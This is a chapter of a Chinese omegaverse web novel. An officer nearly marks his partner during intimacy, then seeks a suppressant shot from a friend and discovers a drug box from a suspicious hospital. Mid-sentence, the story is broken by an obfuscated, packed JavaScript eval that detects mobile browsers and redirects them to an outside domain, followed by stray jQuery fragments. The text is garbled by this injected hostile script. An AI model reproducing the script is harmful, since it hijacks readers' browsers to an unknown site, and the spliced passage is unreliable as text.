第十五章·标记


    不管洛雪留与不留，程锋都打定主意在孤儿院多待几天。连续死了两名嫌犯，迫于联合议会中某位高层的压力，总局长给他停了职：“滚，能滚多远滚多远，少戳那让人当靶子打！”


    这是护犊子呢，他分的出好赖话。再说领导只说让停职又没说停薪，正好趁这几天功夫帮忙将小镇的高压防护网修缮一番，省得他人在外面还得担心洛雪小雨他们遭到兽人的袭击。


    “镇长已经联系好工程队了，说是要备料，明天才能开始施工。”


    洛雪边说话边收拾床铺。青蛙娃娃仰在枕头上，大大咧咧地敞着肚皮，他一把抓起塞进柜子，又抱出条新毯子，平整地铺到床上。


    条件就是这条件，孤儿院房间紧张，孩子们得七八个人挤一间，院长照顾他，特意给了他和小雨一个单间。但一米二的床上挤不下三个人。每次程锋来找洛雪过夜，小雨就会跑去跟多多睡一张床，把自己的位置让给程锋睡，体贴到让俩成年人脸红。


    “施工得断电，可能会有异变野兽趁虚而入，明天我去找镇长要点人手，负责外围巡逻。”


    洛雪身上的每一处线条都钩在程锋眼里。情欲躁动，他暗搓搓挤到洛雪身后，手按在背上，隔着层薄衬，顺着脊柱的弧度向下滑动。


    夜已深沉，该干点成年人干的事情了。


    啪！几乎要钻进裤腰的手被攥住，洛雪直起身，下巴微抬，热气呼到程锋的唇边，以一种近乎挑衅的语气问：“你脑子里就只装着这点事儿？”


    窄腰曲臂即环，程锋收手一勾，将人牢牢固定在身前，放肆彰显热情：“不装才不尊重你吧？再说了，刚在餐厅吃晚饭的时候，谁一直在桌下拿脚蹭我大腿来着？”


    “蹭两下就把持不住？定力真——”


    “差”字尚未出口，唇舌已被蛮横地擭住。这是一个带着怨气的吻，压在脑后的五指如此用力，让洛雪微哼出声：“……疼……”


    “……以后不许挂我视频……”


    牙齿厮磨着下唇，程锋克制着力道，避免那瓣柔软上留下齿痕。与他相比，怀中的□□过于脆弱，是能将他这份百炼钢化成绕指柔的存在，他总是生怕一个不留神，折断那细瘦的腰肢。


    “小孩子都不会像你这么耍脾气……”


    洛雪低声耳语，随着压下的力道仰躺到床铺之上，闭上眼，放任身体的沉沦。自叛逃基地的那一天起，他就知道自己将会面临什么：脱离了维持“进化”态的药物，当药效彻底丧失的那一刻，体内压抑多年的激素像脱缰的野马横冲直闯，几乎将他连人带精神一并撕碎。


    他当然可以随便找一个Alpha来解决问题，但仅存的理智告诉他，绝不能因为自己沉沦于本能时的狼狈，给一个陌生人出现在小雨身边的机会。人心难测，他不知道哪一次的放纵会给小雨带来不可知的危险，只能一次次将抑制剂扎进手臂。尽管药效会被身体里的另一股力量反噬、疼到指甲在地板上抠翻，至少不会追悔莫及。


    然而命运并不总是艰难，与程锋的相遇，让纠缠在骨髓里的痛奇迹般的消失了。赌一把，他相信眼睛看到的一切：强大而克制的力量感，和孩子们相处时发自内心的宠溺，以及眼神不经意相撞时，那似有若无的试探。


    脑海里有个声音告诉他：“这个男人，绝对不会伤害你的宝贝。”


    有那么一瞬间，他理解了五号当初的选择——他们只是被迫压抑感情，并非天生冷血。然而他们无法像普通人那样拥有平凡而幸福的人生，有些人，注定是生命中的过客……


    “……阿雪……阿雪……”


    浓情蜜意之际，刻在基因里的占有欲碾碎了理智，程锋控制不住地咬上洛雪的发尾。廉价皮筋于齿间断裂，黑发如瀑布般倾洒，日常被掩盖的白皙后颈毫无保留地暴露在灼热的目光之下——


    啪！


    巴掌声碎裂在空气中，燥热瞬间冷却。程锋愣愣地看着捂颈瞪视的洛雪，脸上闪过丝慌乱，胸腔激烈起伏。唇齿间还残留着温热的触感，若非洛雪这一巴掌扇过来，他必然会咬破对方颈后的腺体！


    僵持片刻，洛雪一扫刚才的风情万种，冷着脸扭身下床，捡起地上的衣服就往身上套。偶尔程锋会失控，Alpha的通病，他不怪他，但不能再继续了。


    忽然手腕被扯住，他试图抽回却被一把拉回到床上。以为程锋想来硬的，他神情一凛，右手条件反射握拳，哪知——


    “你别出去，外面冷，我换地方。”


    某人可怜巴巴的，像极了被抛弃的大狗。


    —


    门开，林歌顶着睡眠不足的黑眼圈，绝望吐槽——


    “我真是受够你们俩了……”


    “不好意思，又来麻烦你了。”


    程锋侧身挤进门内，也不管林歌是不是想拿眼神阉了自己。林歌是真想阉了他：一只每个毛孔里都往出散发信息素的Alpha，大半夜的跑到独居的Omega家里，有没有点公德心啊喂！


    所以往程锋胳膊上扎抑制剂的时候，他故意下了点狠手——针头撤出的一瞬，滋！喷出一小股鲜血。


    ——肌注都能滋血滋成这样，奔着大动脉扎呢？


    程锋小声抗议：“你……扎穿我血管了……”


    “不爽你可以去医管局告我！”


    托盘摔得“啪啪”响，每一声都震得程锋脑子里嗡嗡响：“……我记得你没执照吧……”


    “呦，多谢提醒，出了医疗事故我不用担责，哈~哈~”


    林歌故作夸张地笑了两声——扰人美梦，这够判死刑了吧？没扎死你个王八蛋算我善良！


    “能不能好好说话，我现在真的很烦……”


    药效尚未发挥，程锋身上跟穿了件粗制毛衫一样，刺刺扎扎的，坐也坐不住，在椅子上频繁地换姿势。他也不想大半夜的跑来让林歌看笑话，可翻遍孤儿院的药品


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432983|184874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    柜，竟然一支Alpha抑制剂都没找到。


    想想也对，一堆小屁孩，备那玩意干嘛？


    “心静自然凉。”


    林歌背着他翻了个白眼——不是第一次大半夜被程某人敲起来打针了，相信也不会是最后一次。忽然又想起什么，转过身，语气稍显紧张的：“洛雪的标记没被覆盖吧？”


    “没有没有，我没咬下去。”程锋即刻澄清。


    “那就好，敢让他怀孕你就死定了。”


    林歌稍稍松了口气，同时不忘再次提醒：“你有血族基因，他生你的孩子，会死，懂？”


    程锋垂眼点了点头，一扫往日的锐利，侧脸略显忧郁。药效渐起，身上不刺挠了，可针都扎在了心里。被诅咒的基因注定会害死生下他后代的人，而区别于同类的道德感，又让他无法说服自己花言巧语地哄骗他人。幸运的是，洛雪和小雨可以给他一个完整的家，只是这份幸运至今还像云雾一般漂浮。


    眼见刚刚还和自己斗嘴的人一秒消沉，林歌多少有点替对方感到心塞。想了想，倒了杯水放到桌上，以示安慰。血族因造血功能异常必须依赖人血生存，他们的后代也继承了这种异变的基因，自胚胎期就疯狂地掠夺母体血液，同时释放破坏凝血因子的毒素，致使母体生产时大出血而亡。他愿意相信程锋本性善良，但亲身经历过那么多死亡，有些话不得不往重了说。


    程锋端起杯子喝了口水，温热的液体顺喉而下，却冲不开堵在胸口的那团郁气。血族Alpha可以轻而易举地覆盖掉人类Alpha的标记，所以洛雪对他严防死守，但只要看到对方颈后的那对齿痕，刻在基因里的Alpha竞争欲就会在他脑子里炸开一朵蘑菇云。


    憋了三年，他终于是憋不住了：“喂……”


    “啊？”


    “……你……知不知道标记阿雪的……是个什么样的人？”


    “不知道。”


    “哦，我以为，你俩关系好，他会跟你提起过。”


    “从来没有，行了你别耗着我了，赶紧睡觉，我去给你拿床毯子。”


    林歌耐心有限，大半夜的，好不容易没有夜诊要出能踏实睡一觉，他可没闲心再哄个超大号婴儿。


    没想到程锋往椅子上一靠，耍无赖似的：“睡不着，有酒么？”


    林歌气笑——你当我这是超市啊？想喝？行！


    “药柜里有医用酒精！”


    说完转身奔楼上去拿毯子。没多余的地方给不速之客放平了睡，地下室里有手术台，滚那睡去！没想到刚迈上级台阶就听身后传来柜门的吱嘎声，转头一看，嘿！真去翻药柜了！


    他不得不返回去阻止：“你有病啊！酒精你都喝！自暴自弃也别死我这添——”


    “这药，哪来的？”


    林歌的声音被程锋举到眼前的药盒打断——米黄色的药品名称之下，赫然印着“慈爱医院专用”的猩红标志。


    TBC